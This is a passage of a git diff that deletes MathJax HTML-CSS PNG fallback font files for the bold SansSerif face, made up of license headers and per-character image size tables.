- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({"MathJax_SansSerif-bold":{768:[[3,1,-3],[3,2,-4],[3,2,-5],[4,2,-7],[4,3,-7],[5,3,-9],[5,3,-10],[6,4,-12],[7,5,-14],[9,6,-17],[10,7,-21],[12,8,-24],[14,9,-29],[17,11,-34]],769:[[3,1,-3],[3,2,-4],[4,2,-5],[3,2,-7],[4,3,-7],[5,3,-9],[6,3,-10],[6,4,-12],[8,5,-14],[8,6,-17],[11,7,-21],[12,8,-24],[14,9,-29],[16,11,-34]],770:[[4,1,-3],[4,2,-4],[4,2,-5],[5,2,-7],[6,3,-7],[7,3,-9],[7,3,-10],[9,4,-12],[10,5,-14],[12,6,-17],[14,7,-21],[16,8,-24],[19,9,-29],[23,11,-34]],771:[[4,1,-3],[4,1,-5],[5,2,-5],[5,3,-6],[6,3,-7],[7,3,-9],[8,3,-10],[9,4,-12],[11,4,-15],[13,5,-18],[16,6,-22],[18,7,-25],[21,8,-30],[25,10,-35]],772:[[4,1,-3],[4,1,-5],[5,2,-5],[6,3,-6],[6,3,-8],[7,2,-9],[9,2,-11],[11,3,-13],[12,3,-15],[14,4,-19],[16,5,-23],[20,5,-26],[23,6,-31],[27,7,-37]],774:[[4,1,-3],[4,1,-5],[5,2,-5],[6,3,-6],[6,2,-8],[7,2,-10],[9,3,-10],[10,4,-12],[11,4,-15],[14,5,-18],[16,6,-22],[19,7,-25],[22,8,-30],[26,10,-35]],775:[[2,1,-3],[2,1,-5],[3,2,-5],[3,2,-7],[3,2,-8],[3,2,-10],[4,2,-11],[5,3,-13],[5,3,-16],[6,4,-19],[7,4,-24],[8,5,-27],[10,6,-32],[12,7,-38]],776:[[4,2,-3],[4,2,-5],[5,3,-5],[5,3,-7],[6,3,-8],[7,3,-10],[8,3,-11],[9,4,-13],[11,4,-16],[12,5,-19],[15,5,-24],[18,6,-27],[21,7,-32],[25,8,-38]],778:[[3,1,-3],[3,2,-4],[3,2,-5],[4,2,-7],[5,2,-8],[5,3,-9],[6,3,-10],[7,4,-12],[8,5,-14],[10,6,-17],[11,6,-22],[13,7,-25],[15,9,-29],[18,10,-35]],779:[[4,1,-3],[4,2,-4],[5,2,-5],[5,2,-7],[6,3,-7],[7,3,-9],[8,3,-10],[9,4,-12],[11,5,-14],[12,6,-17],[15,7,-21],[17,8,-24],[20,9,-29],[23,11,-34]],780:[[4,1,-3],[4,2,-4],[4,2,-5],[5,2,-6],[6,3,-7],[7,3,-8],[7,3,-10],[9,4,-12],[10,5,-14],[12,6,-17],[14,7,-20],[16,8,-23],[19,9,-27],[23,11,-33]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/SansSerif/Bold"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/CombDiacritMarks.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/Main.js
deleted file mode 100644
index 35743325..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({"MathJax_SansSerif-bold":{}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/SansSerif/Bold"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/Main.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/Other.js b/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/Other.js
deleted file mode 100644
index e0fff5ec..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/Other.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/Other.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({"MathJax_SansSerif-bold":{160:[[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]],305:[[2,3,0],[2,4,0],[2,5,0],[3,6,0],[3,7,0],[4,8,0],[4,9,0],[5,11,0],[6,13,0],[7,16,0],[8,19,0],[10,22,0],[11,26,0],[14,30,0]],567:[[3,4,1],[3,6,2],[4,7,2],[4,8,2],[5,10,3],[6,11,3],[7,13,4],[8,16,5],[9,18,5],[11,23,7],[13,27,8],[15,31,9],[17,37,12],[21,44,14]],768:[[3,1,-3],[3,2,-4],[3,2,-5],[4,2,-7],[4,3,-7],[5,3,-9],[5,3,-10],[6,4,-12],[7,5,-14],[9,6,-17],[10,7,-21],[12,8,-24],[14,9,-29],[17,11,-34]],769:[[3,1,-3],[3,2,-4],[4,2,-5],[3,2,-7],[4,3,-7],[5,3,-9],[6,3,-10],[6,4,-12],[8,5,-14],[8,6,-17],[11,7,-21],[12,8,-24],[14,9,-29],[16,11,-34]],770:[[4,1,-3],[4,2,-4],[4,2,-5],[5,2,-7],[6,3,-7],[7,3,-9],[7,3,-10],[9,4,-12],[10,5,-14],[12,6,-17],[14,7,-21],[16,8,-24],[19,9,-29],[23,11,-34]],771:[[4,1,-3],[4,1,-5],[5,2,-5],[5,3,-6],[6,3,-7],[7,3,-9],[8,3,-10],[9,4,-12],[11,4,-15],[13,5,-18],[16,6,-22],[18,7,-25],[21,8,-30],[25,10,-35]],772:[[4,1,-3],[4,1,-5],[5,2,-5],[6,3,-6],[6,3,-8],[7,2,-9],[9,2,-11],[11,3,-13],[12,3,-15],[14,4,-19],[16,5,-23],[20,5,-26],[23,6,-31],[27,7,-37]],774:[[4,1,-3],[4,1,-5],[5,2,-5],[6,3,-6],[6,2,-8],[7,2,-10],[9,3,-10],[10,4,-12],[11,4,-15],[14,5,-18],[16,6,-22],[19,7,-25],[22,8,-30],[26,10,-35]],775:[[2,1,-3],[2,1,-5],[3,2,-5],[3,2,-7],[3,2,-8],[3,2,-10],[4,2,-11],[5,3,-13],[5,3,-16],[6,4,-19],[7,4,-24],[8,5,-27],[10,6,-32],[12,7,-38]],776:[[4,2,-3],[4,2,-5],[5,3,-5],[5,3,-7],[6,3,-8],[7,3,-10],[8,3,-11],[9,4,-13],[11,4,-16],[12,5,-19],[15,5,-24],[18,6,-27],[21,7,-32],[25,8,-38]],778:[[3,1,-3],[3,2,-4],[3,2,-5],[4,2,-7],[5,2,-8],[5,3,-9],[6,3,-10],[7,4,-12],[8,5,-14],[10,6,-17],[11,6,-22],[13,7,-25],[15,9,-29],[18,10,-35]],779:[[4,1,-3],[4,2,-4],[5,2,-5],[5,2,-7],[6,3,-7],[7,3,-9],[8,3,-10],[9,4,-12],[11,5,-14],[12,6,-17],[15,7,-21],[17,8,-24],[20,9,-29],[23,11,-34]],780:[[4,1,-3],[4,2,-4],[4,2,-5],[5,2,-6],[6,3,-7],[7,3,-8],[7,3,-10],[9,4,-12],[10,5,-14],[12,6,-17],[14,7,-20],[16,8,-23],[19,9,-27],[23,11,-33]],915:[[4,4,0],[5,6,0],[6,7,0],[7,9,0],[8,10,0],[9,12,0],[11,13,0],[13,16,0],[15,19,0],[18,23,0],[21,28,0],[25,32,0],[30,38,0],[35,45,0]],916:[[6,4,0],[8,6,0],[9,7,0],[11,9,0],[12,10,0],[15,12,0],[17,13,0],[20,16,0],[24,19,0],[29,23,0],[34,28,0],[40,32,0],[48,38,0],[57,45,0]],920:[[6,4,0],[7,6,0],[8,7,0],[10,9,0],[11,10,0],[14,12,0],[16,13,0],[19,16,0],[22,19,0],[27,24,0],[32,29,0],[37,35,1],[44,41,1],[53,49,1]],923:[[5,4,0],[6,6,0],[7,7,0],[8,9,0],[9,10,0],[11,12,0],[13,13,0],[15,16,0],[18,19,0],[21,23,0],[25,28,0],[29,32,0],[35,38,0],[41,45,0]],926:[[5,4,0],[6,6,0],[7,7,0],[9,9,0],[10,10,0],[12,12,0],[14,13,0],[16,16,0],[19,19,0],[23,23,0],[27,28,0],[32,32,0],[38,38,0],[45,45,0]],928:[[5,4,0],[6,6,0],[7,7,0],[9,9,0],[10,10,0],[12,12,0],[14,13,0],[17,16,0],[20,19,0],[23,23,0],[28,28,0],[33,32,0],[39,38,0],[46,45,0]],931:[[6,4,0],[7,6,0],[8,7,0],[9,9,0],[11,10,0],[13,12,0],[15,13,0],[17,16,0],[21,19,0],[25,23,0],[29,28,0],[34,32,0],[41,38,0],[49,45,0]],933:[[6,4,0],[7,6,0],[8,7,0],[10,9,0],[11,10,0],[14,12,0],[16,13,0],[19,16,0],[22,19,0],[26,24,0],[31,29,0],[37,34,0],[44,40,0],[52,47,0]],934:[[6,4,0],[7,6,0],[8,7,0],[9,9,0],[11,10,0],[13,12,0],[15,13,0],[17,16,0],[21,19,0],[25,23,0],[29,28,0],[34,32,0],[41,38,0],[49,45,0]],936:[[6,4,0],[7,6,0],[9,7,0],[10,9,0],[12,10,0],[14,12,0],[17,13,0],[20,16,0],[23,19,0],[28,23,0],[33,28,0],[39,32,0],[46,38,0],[55,45,0]],937:[[6,4,0],[7,6,0],[8,7,0],[9,9,0],[11,10,0],[13,12,0],[15,13,0],[18,16,0],[21,19,0],[25,24,0],[29,28,0],[35,33,0],[41,39,0],[49,46,0]],8211:[[4,1,-1],[5,1,-2],[6,2,-2],[7,2,-2],[8,3,-3],[10,3,-3],[11,2,-5],[13,3,-6],[16,3,-7],[19,3,-8],[22,4,-10],[26,5,-11],[31,5,-13],[37,6,-16]],8212:[[8,1,-1],[10,1,-2],[11,1,-2],[13,2,-2],[16,3,-3],[19,3,-3],[22,2,-5],[26,3,-6],[31,3,-7],[37,3,-8],[43,4,-10],[52,5,-11],[61,5,-13],[73,6,-16]],8216:[[2,2,-2],[2,3,-3],[3,3,-4],[3,3,-6],[4,4,-6],[4,5,-7],[5,5,-8],[6,6,-10],[7,7,-12],[8,9,-14],[9,10,-18],[11,12,-20],[13,14,-24],[15,17,-28]],8217:[[2,2,-2],[2,3,-3],[3,3,-4],[3,4,-5],[4,4,-6],[4,5,-7],[5,5,-8],[6,6,-10],[7,8,-11],[8,9,-14],[9,10,-18],[11,12,-20],[13,15,-23],[15,17,-28]],8220:[[4,2,-2],[5,3,-3],[6,3,-4],[7,3,-6],[8,4,-6],[9,5,-7],[11,5,-8],[13,6,-10],[15,7,-12],[18,9,-14],[21,10,-18],[25,12,-20],[29,14,-24],[35,17,-28]],8221:[[3,2,-2],[4,3,-3],[5,3,-4],[5,4,-5],[6,4,-6],[7,5,-7],[8,5,-8],[10,6,-10],[12,8,-11],[14,9,-14],[17,10,-18],[20,12,-20],[23,15,-23],[27,17,-28]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/SansSerif/Bold"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/Other.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/unpacked/BasicLatin.js b/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/unpacked/BasicLatin.js
deleted file mode 100644
index 78b8e201..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/unpacked/BasicLatin.js
+++ /dev/null
@@ -1,385 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/BasicLatin.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_SansSerif-bold": {
-    0x20: [  // SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x21: [  // EXCLAMATION MARK
-      [2,4,0],[3,6,0],[3,7,0],[4,9,0],[4,10,0],[5,12,0],[5,13,0],[6,16,0],
-      [8,19,0],[9,23,0],[11,28,0],[12,32,0],[15,38,0],[17,45,0]
-    ],
-    0x22: [  // QUOTATION MARK
-      [3,2,-2],[4,3,-3],[5,3,-4],[5,4,-5],[6,4,-6],[7,5,-7],[8,5,-8],[10,6,-10],
-      [12,8,-11],[14,9,-14],[17,10,-18],[20,12,-20],[23,15,-23],[27,17,-28]
-    ],
-    0x23: [  // NUMBER SIGN
-      [6,5,1],[8,8,2],[9,9,2],[11,11,2],[12,13,3],[15,15,3],[17,17,4],[20,21,5],
-      [24,24,5],[29,30,7],[34,36,8],[40,41,9],[48,49,11],[57,58,13]
-    ],
-    0x24: [  // DOLLAR SIGN
-      [4,6,1],[5,7,1],[5,9,1],[6,11,1],[7,12,1],[9,14,1],[10,16,1],[12,19,1],
-      [14,23,2],[16,28,2],[19,33,2],[23,38,3],[27,45,3],[32,53,3]
-    ],
-    0x25: [  // PERCENT SIGN
-      [7,6,1],[8,7,1],[10,9,1],[12,11,2],[14,14,2],[16,15,2],[19,15,1],[23,19,1],
-      [27,22,2],[32,27,2],[38,33,2],[45,38,3],[54,44,3],[64,53,4]
-    ],
-    0x26: [  // AMPERSAND
-      [6,4,0],[7,6,0],[8,7,0],[10,9,0],[11,10,0],[13,12,0],[15,13,0],[18,16,0],
-      [22,19,0],[26,24,0],[31,29,0],[36,35,1],[43,41,1],[51,48,1]
-    ],
-    0x27: [  // APOSTROPHE
-      [2,2,-2],[2,3,-3],[3,3,-4],[3,4,-5],[4,4,-6],[4,5,-7],[5,5,-8],[6,6,-10],
-      [7,8,-11],[8,9,-14],[9,10,-18],[11,12,-20],[13,15,-23],[15,17,-28]
-    ],
-    0x28: [  // LEFT PARENTHESIS
-      [3,7,2],[4,9,2],[4,11,3],[5,13,3],[6,15,4],[7,17,4],[8,19,5],[9,24,6],
-      [11,28,7],[13,34,8],[15,41,10],[17,47,12],[21,55,14],[25,66,16]
-    ],
-    0x29: [  // RIGHT PARENTHESIS
-      [3,7,2],[3,9,2],[4,11,3],[5,13,3],[5,15,4],[6,17,4],[7,20,5],[8,24,6],
-      [10,28,7],[12,34,8],[14,41,10],[16,47,12],[20,55,14],[23,66,16]
-    ],
-    0x2A: [  // ASTERISK
-      [4,3,-2],[4,4,-2],[5,5,-3],[6,6,-3],[7,7,-4],[8,8,-5],[10,9,-5],[12,11,-6],
-      [14,13,-7],[16,16,-9],[19,19,-12],[23,22,-14],[27,26,-16],[32,30,-19]
-    ],
-    0x2B: [  // PLUS SIGN
-      [6,5,1],[7,7,1],[8,8,1],[10,10,1],[11,11,2],[14,13,2],[16,14,2],[19,18,3],
-      [22,21,3],[27,25,4],[32,30,5],[37,35,5],[44,41,6],[53,49,8]
-    ],
-    0x2C: [  // COMMA
-      [2,2,1],[2,3,1],[3,4,2],[3,4,2],[4,5,2],[4,5,2],[5,5,2],[6,7,3],
-      [7,8,3],[8,9,4],[9,10,4],[11,12,5],[13,15,6],[15,17,7]
-    ],
-    0x2D: [  // HYPHEN-MINUS
-      [3,1,-1],[3,1,-1],[3,1,-2],[4,2,-2],[5,3,-2],[5,3,-2],[6,2,-4],[7,3,-4],
-      [9,3,-5],[10,3,-6],[12,4,-7],[14,5,-9],[17,5,-10],[20,6,-12]
-    ],
-    0x2E: [  // FULL STOP
-      [2,1,0],[2,2,0],[3,2,0],[3,2,0],[4,3,0],[4,3,0],[5,3,0],[6,4,0],
-      [7,5,0],[8,5,0],[9,6,0],[11,7,0],[13,9,0],[15,10,0]
-    ],
-    0x2F: [  // SOLIDUS
-      [4,7,2],[5,9,2],[5,11,3],[6,13,3],[7,15,4],[9,17,4],[10,19,5],[12,23,6],
-      [14,28,7],[17,34,8],[20,40,10],[23,47,12],[28,55,14],[33,66,16]
-    ],
-    0x30: [  // DIGIT ZERO
-      [4,4,0],[5,6,0],[5,7,0],[6,9,0],[7,10,0],[9,12,0],[10,13,0],[12,16,0],
-      [14,19,0],[17,24,0],[20,29,0],[24,35,1],[28,42,2],[34,49,2]
-    ],
-    0x31: [  // DIGIT ONE
-      [4,4,0],[4,6,0],[5,7,0],[6,9,0],[7,10,0],[8,12,0],[10,13,0],[11,16,0],
-      [14,19,0],[16,24,0],[19,29,0],[22,34,0],[27,40,0],[32,47,0]
-    ],
-    0x32: [  // DIGIT TWO
-      [4,4,0],[5,6,0],[5,7,0],[6,9,0],[7,10,0],[9,12,0],[10,13,0],[12,16,0],
-      [14,19,0],[17,24,0],[20,28,0],[23,33,0],[28,39,0],[33,47,0]
-    ],
-    0x33: [  // DIGIT THREE
-      [4,4,0],[5,6,0],[5,7,0],[6,9,0],[7,10,0],[9,12,0],[10,13,0],[12,16,0],
-      [14,19,0],[17,24,0],[20,29,0],[24,34,0],[28,41,1],[34,49,1]
-    ],
-    0x34: [  // DIGIT FOUR
-      [4,5,0],[5,7,0],[6,8,0],[6,10,0],[8,11,0],[9,13,0],[10,14,0],[12,17,0],
-      [15,20,0],[17,24,0],[20,29,0],[24,33,0],[29,39,0],[34,47,1]
-    ],
-    0x35: [  // DIGIT FIVE
-      [4,4,0],[5,6,0],[5,7,0],[6,9,0],[7,10,0],[9,12,0],[10,13,0],[12,16,0],
-      [14,19,0],[17,23,0],[20,28,0],[23,33,1],[28,39,1],[33,47,2]
-    ],
-    0x36: [  // DIGIT SIX
-      [4,4,0],[5,6,0],[5,7,0],[6,9,0],[7,10,0],[9,12,0],[10,13,0],[12,16,0],
-      [14,19,0],[17,24,0],[20,29,0],[24,34,0],[28,41,1],[34,48,1]
-    ],
-    0x37: [  // DIGIT SEVEN
-      [4,4,0],[5,6,0],[5,7,0],[6,9,0],[7,10,0],[9,12,0],[10,13,0],[12,16,0],
-      [14,19,0],[17,23,0],[20,28,0],[24,32,0],[28,39,1],[33,46,1]
-    ],
-    0x38: [  // DIGIT EIGHT
-      [4,4,0],[5,6,0],[5,7,0],[6,9,0],[7,10,0],[9,12,0],[10,13,0],[12,16,0],
-      [14,19,0],[17,24,0],[20,29,0],[24,35,1],[28,41,1],[34,48,1]
-    ],
-    0x39: [  // DIGIT NINE
-      [4,4,0],[5,6,0],[5,7,0],[6,9,0],[7,10,0],[9,12,0],[10,13,0],[12,16,0],
-      [14,19,0],[17,24,0],[20,29,0],[24,35,1],[28,41,1],[34,48,1]
-    ],
-    0x3A: [  // COLON
-      [2,3,0],[2,4,0],[3,5,0],[3,6,0],[4,7,0],[4,8,0],[5,9,0],[6,11,0],
-      [7,13,0],[8,16,0],[9,18,0],[11,21,0],[13,25,0],[15,30,0]
-    ],
-    0x3B: [  // SEMICOLON
-      [2,4,1],[2,5,1],[3,7,2],[3,8,2],[4,9,2],[4,10,2],[5,11,2],[6,14,3],
-      [7,16,3],[8,20,4],[9,22,4],[11,26,5],[13,31,6],[15,37,7]
-    ],
-    0x3D: [  // EQUALS SIGN
-      [6,2,0],[7,3,-1],[8,3,-1],[10,5,0],[11,6,-1],[14,7,-1],[16,6,-2],[19,7,-2],
-      [22,9,-3],[27,11,-3],[32,13,-4],[37,15,-4],[44,17,-5],[53,21,-6]
-    ],
-    0x3F: [  // QUESTION MARK
-      [4,4,0],[4,6,0],[5,7,0],[6,9,0],[7,10,0],[8,12,0],[9,13,0],[11,16,0],
-      [13,19,0],[15,24,0],[18,28,0],[21,33,0],[25,39,0],[30,46,0]
-    ],
-    0x40: [  // COMMERCIAL AT
-      [5,4,0],[6,6,0],[7,7,0],[8,9,0],[10,10,0],[12,12,0],[14,13,0],[16,16,0],
-      [19,19,0],[23,24,0],[27,28,0],[32,33,0],[38,40,1],[45,46,1]
-    ],
-    0x41: [  // LATIN CAPITAL LETTER A
-      [5,5,1],[6,7,1],[7,8,1],[9,10,1],[10,11,1],[12,13,1],[14,14,1],[16,17,1],
-      [19,20,1],[23,24,1],[27,29,1],[32,33,1],[38,39,1],[45,46,1]
-    ],
-    0x42: [  // LATIN CAPITAL LETTER B
-      [5,4,0],[6,6,0],[7,7,0],[8,9,0],[10,10,0],[12,12,0],[14,13,0],[16,16,0],
-      [19,19,0],[23,23,0],[27,28,0],[32,32,0],[38,38,0],[45,45,0]
-    ],
-    0x43: [  // LATIN CAPITAL LETTER C
-      [5,4,0],[6,6,0],[7,7,0],[8,9,0],[9,10,0],[11,12,0],[13,13,0],[16,16,0],
-      [18,19,0],[22,24,0],[26,28,0],[31,33,0],[36,40,1],[43,46,1]
-    ],
-    0x44: [  // LATIN CAPITAL LETTER D
-      [6,4,0],[7,7,1],[8,8,1],[9,10,1],[11,11,1],[13,13,1],[15,14,1],[17,17,1],
-      [21,20,1],[24,24,1],[29,29,1],[34,33,1],[41,39,1],[48,46,1]
-    ],
-    0x45: [  // LATIN CAPITAL LETTER E
-      [5,4,0],[5,6,0],[6,7,0],[8,9,0],[9,10,0],[10,12,0],[12,13,0],[14,16,0],
-      [17,19,0],[20,23,0],[24,28,0],[28,32,0],[34,38,0],[40,45,0]
-    ],
-    0x46: [  // LATIN CAPITAL LETTER F
-      [4,4,0],[5,6,0],[6,7,0],[7,9,0],[8,10,0],[10,12,0],[11,13,0],[14,16,0],
-      [16,19,0],[19,23,0],[23,28,0],[27,32,0],[32,38,0],[38,45,0]
-    ],
-    0x47: [  // LATIN CAPITAL LETTER G
-      [5,4,0],[6,6,0],[7,7,0],[8,9,0],[10,10,0],[11,12,0],[13,13,0],[16,16,0],
-      [19,19,0],[22,24,0],[26,28,0],[31,33,0],[37,40,1],[44,47,1]
-    ],
-    0x48: [  // LATIN CAPITAL LETTER H
-      [5,4,0],[6,6,0],[7,7,0],[9,9,0],[10,10,0],[12,12,0],[14,13,0],[17,16,0],
-      [20,19,0],[23,23,0],[28,28,0],[33,32,0],[39,38,0],[46,45,0]
-    ],
-    0x49: [  // LATIN CAPITAL LETTER I
-      [2,4,0],[3,6,0],[3,7,0],[3,9,0],[4,10,0],[5,12,0],[5,13,0],[6,16,0],
-      [7,19,0],[8,23,0],[10,28,0],[12,32,0],[14,38,0],[16,45,0]
-    ],
-    0x4A: [  // LATIN CAPITAL LETTER J
-      [3,4,0],[4,6,0],[5,7,0],[5,9,0],[6,10,0],[8,12,0],[9,13,0],[10,16,0],
-      [12,19,0],[15,23,0],[17,28,0],[20,34,2],[24,40,2],[29,47,2]
-    ],
-    0x4B: [  // LATIN CAPITAL LETTER K
-      [5,4,0],[6,6,0],[7,7,0],[9,9,0],[10,10,0],[12,12,0],[14,13,0],[17,16,0],
-      [20,19,0],[23,23,0],[28,28,0],[33,32,0],[39,38,0],[46,45,0]
-    ],
-    0x4C: [  // LATIN CAPITAL LETTER L
-      [4,4,0],[5,6,0],[6,7,0],[7,9,0],[8,10,0],[9,12,0],[11,13,0],[13,16,0],
-      [15,19,0],[18,23,0],[21,28,0],[25,32,0],[30,38,0],[36,45,0]
-    ],
-    0x4D: [  // LATIN CAPITAL LETTER M
-      [7,5,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,12,0],[17,13,0],[21,16,0],
-      [25,19,0],[29,24,0],[35,28,0],[41,33,0],[49,38,0],[58,46,0]
-    ],
-    0x4E: [  // LATIN CAPITAL LETTER N
-      [5,4,0],[6,6,0],[7,7,0],[9,9,0],[10,10,0],[12,12,0],[14,13,0],[17,16,0],
-      [20,19,0],[23,23,0],[28,28,0],[33,32,0],[39,38,0],[46,45,0]
-    ],
-    0x4F: [  // LATIN CAPITAL LETTER O
-      [6,4,0],[7,6,0],[8,7,0],[9,9,0],[11,10,0],[13,12,0],[15,13,0],[17,16,0],
-      [21,19,0],[25,24,0],[29,29,0],[34,35,1],[41,41,1],[49,49,1]
-    ],
-    0x50: [  // LATIN CAPITAL LETTER P
-      [5,5,0],[6,6,0],[7,8,0],[8,9,0],[9,11,0],[11,12,0],[13,13,0],[15,16,0],
-      [18,19,0],[22,24,0],[26,28,0],[30,32,0],[36,38,0],[43,46,0]
-    ],
-    0x51: [  // LATIN CAPITAL LETTER Q
-      [6,5,1],[7,7,1],[8,8,1],[9,10,1],[11,11,1],[13,14,2],[15,15,2],[17,18,2],
-      [21,22,3],[25,27,3],[29,33,4],[34,39,5],[41,46,6],[49,54,7]
-    ],
-    0x52: [  // LATIN CAPITAL LETTER R
-      [5,5,1],[6,7,1],[7,8,1],[8,10,1],[10,11,1],[11,13,1],[13,14,1],[16,17,1],
-      [19,20,1],[22,24,1],[26,29,1],[31,33,1],[37,39,1],[44,46,1]
-    ],
-    0x53: [  // LATIN CAPITAL LETTER S
-      [4,4,0],[5,6,0],[6,7,0],[7,9,0],[8,10,0],[10,12,0],[11,13,0],[13,16,0],
-      [16,19,0],[19,24,0],[22,29,0],[26,35,1],[31,41,1],[37,48,1]
-    ],
-    0x54: [  // LATIN CAPITAL LETTER T
-      [5,5,0],[6,7,0],[7,8,0],[9,10,0],[10,11,0],[12,13,0],[14,14,0],[16,17,0],
-      [20,20,0],[23,24,0],[27,29,0],[32,33,0],[39,38,0],[46,46,0]
-    ],
-    0x55: [  // LATIN CAPITAL LETTER U
-      [5,4,0],[6,6,0],[7,7,0],[8,9,0],[10,10,0],[12,12,0],[14,13,0],[16,16,0],
-      [19,19,0],[23,23,0],[27,28,0],[32,33,1],[38,40,2],[45,47,2]
-    ],
-    0x56: [  // LATIN CAPITAL LETTER V
-      [5,4,0],[6,6,0],[7,7,0],[9,9,0],[10,10,0],[12,12,0],[14,13,0],[17,16,0],
-      [20,19,0],[24,23,0],[28,28,0],[33,32,0],[39,38,0],[47,45,0]
-    ],
-    0x57: [  // LATIN CAPITAL LETTER W
-      [7,4,0],[9,6,0],[10,7,0],[12,9,0],[14,10,0],[17,12,0],[20,13,0],[24,16,0],
-      [28,19,0],[34,23,0],[40,28,0],[48,32,0],[56,38,0],[67,45,0]
-    ],
-    0x58: [  // LATIN CAPITAL LETTER X
-      [5,4,0],[6,7,1],[7,8,1],[9,10,1],[10,11,1],[12,13,1],[14,14,1],[17,17,1],
-      [20,20,1],[23,24,1],[28,29,1],[33,33,1],[39,39,1],[46,46,1]
-    ],
-    0x59: [  // LATIN CAPITAL LETTER Y
-      [5,5,0],[6,7,0],[7,8,0],[9,10,0],[10,11,0],[12,13,0],[14,14,0],[17,17,0],
-      [20,20,0],[24,24,0],[28,29,0],[33,33,0],[40,39,0],[47,46,0]
-    ],
-    0x5A: [  // LATIN CAPITAL LETTER Z
-      [5,4,0],[6,6,0],[7,7,0],[8,9,0],[9,10,0],[11,12,0],[12,13,0],[15,16,0],
-      [17,19,0],[21,23,0],[25,28,0],[29,32,0],[34,38,0],[41,45,0]
-    ],
-    0x5B: [  // LEFT SQUARE BRACKET
-      [3,7,2],[3,9,2],[4,11,3],[4,14,4],[5,17,4],[6,18,5],[7,19,5],[8,23,6],
-      [9,28,7],[11,34,8],[13,40,10],[15,47,12],[18,55,14],[21,66,16]
-    ],
-    0x5D: [  // RIGHT SQUARE BRACKET
-      [2,7,2],[3,9,2],[3,11,3],[3,14,4],[4,17,4],[5,18,5],[5,19,5],[6,24,6],
-      [8,28,7],[9,34,8],[10,40,10],[12,47,12],[15,55,14],[17,66,16]
-    ],
-    0x5E: [  // CIRCUMFLEX ACCENT
-      [4,1,-3],[4,2,-4],[5,2,-5],[6,2,-7],[7,3,-7],[8,3,-9],[9,3,-10],[11,4,-12],
-      [13,5,-14],[15,6,-17],[18,7,-21],[21,8,-24],[25,9,-29],[30,11,-34]
-    ],
-    0x5F: [  // LOW LINE
-      [4,2,1],[5,2,1],[6,2,1],[7,3,2],[8,3,2],[10,3,2],[11,3,2],[13,4,3],
-      [16,4,3],[19,4,3],[22,5,4],[26,6,5],[31,7,6],[37,8,7]
-    ],
-    0x61: [  // LATIN SMALL LETTER A
-      [4,3,0],[4,4,0],[5,5,0],[6,6,0],[7,7,0],[8,8,0],[10,9,0],[11,11,0],
-      [13,13,0],[16,16,0],[19,19,0],[22,22,0],[26,27,1],[31,32,1]
-    ],
-    0x62: [  // LATIN SMALL LETTER B
-      [4,4,0],[5,6,0],[6,7,0],[7,9,0],[8,10,0],[9,12,0],[11,13,0],[13,16,0],
-      [15,19,0],[18,23,0],[21,28,0],[25,32,0],[29,39,1],[35,46,1]
-    ],
-    0x63: [  // LATIN SMALL LETTER C
-      [4,3,0],[4,4,0],[5,5,0],[6,6,0],[7,7,0],[8,8,0],[9,9,0],[11,11,0],
-      [13,13,0],[16,16,0],[18,19,0],[22,22,0],[26,27,1],[31,32,1]
-    ],
-    0x64: [  // LATIN SMALL LETTER D
